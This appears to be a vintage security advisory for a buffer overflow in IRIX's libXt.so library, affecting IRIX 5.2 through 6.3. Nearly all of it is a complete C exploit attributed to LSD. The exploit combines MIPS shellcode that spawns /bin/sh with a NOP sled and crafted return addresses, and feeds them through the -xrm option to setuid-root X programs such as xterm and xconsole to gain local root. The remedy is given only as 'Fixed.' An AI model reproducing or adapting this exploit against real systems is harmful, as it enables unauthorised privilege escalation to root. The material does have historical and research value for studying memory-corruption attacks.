COMMAND

    libxt.so

SYSTEMS AFFECTED

    IRIX 5.2, 5.3, 6.2, 6.3

PROBLEM

    There  exists  a  buffer  overflow  vulnerability  in the libXt.so
    library.  It  is possible to  exploit this bug  in several X  suid
    root binaries and locally gain root user privileges.  Code by LSD.

    /*## copyright LAST STAGE OF DELIRIUM jan 1997 poland        *://lsd-pl.net/ #*/
    /*## libxt.so -xrm                                                           #*/

    #define NOPNUM 8000
    #define ADRNUM 2000
    #define PCHNUM 2000
    #define TMPNUM 2000
    #define ALLIGN 3

    char shellcode[]=
        "\x04\x10\xff\xff"    /* bltzal  $zero,<shellcode>    */
        "\x24\x02\x03\xf3"    /* li      $v0,1011             */
        "\x23\xff\x01\x14"    /* addi    $ra,$ra,276          */
        "\x23\xe4\xff\x08"    /* addi    $a0,$ra,-248         */
        "\x23\xe5\xff\x10"    /* addi    $a1,$ra,-240         */
        "\xaf\xe4\xff\x10"    /* sw      $a0,-240($ra)        */
        "\xaf\xe0\xff\x14"    /* sw      $zero,-236($ra)      */
        "\xa3\xe0\xff\x0f"    /* sb      $zero,-241($ra)      */
        "\x03\xff\xff\xcc"    /* syscall                      */
        "/bin/sh"
    ;

    char jump[]=
        "\x03\xa0\x10\x25"    /* move    $v0,$sp              */
        "\x03\xe0\x00\x08"    /* jr      $ra                  */
    ;

    char nop[]="\x24\x0f\x12\x34";

    main(int argc,char **argv){
        char buffer[20000],adr[4],pch[4],tmp[4],*b;
        int i,n=-1;

        printf("copyright LAST STAGE OF DELIRIUM jan 1997 poland  //lsd-pl.net/\n");
        printf("libxt.so -xrm for irix 5.2 5.3 6.2 6.3 IP:17,19,20,21,22,32\n\n");

        if(argc!=2){
            printf("usage: %s {monpanel|printers|dmplay|datman|xwsh|cdplayer|"
                "xconsole|xterm}\n",argv[0]);
            exit(-1);
        }
        if(!strcmp(argv[1],"monpanel")) n=0;
        if(!strcmp(argv[1],"printers")) n=1;
        if(!strcmp(argv[1],"dmplay")) n=2;
        if(!strcmp(argv[1],"datman")) n=3;
        if(!strcmp(argv[1],"xwsh")) n=4;
        if(!strcmp(argv[1],"cdplayer")) n=5;
        if(!strcmp(argv[1],"xconsole")) n=6;
        if(!strcmp(argv[1],"xterm")) n=7;
        if(n==-1) exit(-1);

        *((unsigned long*)adr)=(*(unsigned long(*)())jump)()+15000+8000;
        *((unsigned long*)tmp)=(*(unsigned long(*)())jump)()+15000+15300+1000;
        *((unsigned long*)pch)=(*(unsigned long(*)())jump)()+15000+15300+1000+2000;

        b=buffer;
        for(i=0;i<ALLIGN;i++) *b++=0xff;
        for(i=0;i<NOPNUM;i++) *b++=nop[i%4];
        for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
        *b++=0xff;
        *b++=0xff;
        for(i=0;i<TMPNUM;i++) *b++=tmp[i%4];
        for(i=0;i<ALLIGN;i++) *b++=0xff;
        for(i=0;i<PCHNUM;i++) *b++=pch[i%4];
        for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
        *b=0;

        switch(n){
        case 0: execl("/usr/sbin/monpanel","lsd","-xrm",buffer,0);
        case 1: execl("/usr/sbin/printers","lsd","-xrm",buffer,0);
        case 2: execl("/usr/sbin/dmplay","lsd","-xrm",buffer,0);
        case 3: execl("/usr/sbin/datman","lsd","-xrm",buffer,0);
        case 4: execl("/usr/sbin/xwsh","lsd","-xrm",buffer,0);
        case 5: execl("/usr/bin/X11/cdplayer","lsd","-xrm",buffer,0);
        case 6: execl("/usr/bin/X11/xconsole","lsd","-xrm",buffer,0);
        case 7: execl("/usr/bin/X11/xterm","lsd","-xrm",buffer,0);
        }
    }

SOLUTION

    Fixed.